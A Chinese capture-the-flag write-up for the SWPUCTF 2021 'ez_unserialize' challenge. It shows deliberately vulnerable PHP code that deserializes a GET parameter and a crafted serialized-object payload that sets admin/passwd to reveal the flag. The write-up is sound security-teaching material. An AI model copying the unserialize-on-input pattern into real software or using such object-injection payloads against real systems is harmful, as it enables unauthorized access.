项目场景:[SWPUCTF 2021 新生赛]ez_unserialize
提示:php反序列化
问题描述
打开环境,页面是一张动图,按照以往做题规律f12查看源代码
可以看到源码中存在一串注释,看格式明显是robots文件,而且可访问文件名被隐藏了,那么可以直接访问robots.txt,或者使用漏扫工具都可以
尽管前后都可以找到,但后者明显多了一个文件,但是不要抱有侥幸心理,flag.php里面是空的
访问/cl45s.php后得到了如下的php代码,接下来就到了这一题的关键,一眼看到最后的unserialize函数,瞬间就可以知道这是关于序列化的题目
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
代码分析下来也很简单,wllm类中定义了两个共有属性,并在之后使用了魔术方法——__construct(类实例化类时调用)
方法中两个参数被赋值,之后又定义了__destruct()方法(销毁时调用),并在其中做了两个参数的比较
大致分析如此,接下来构造payload
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
get上传后得到flag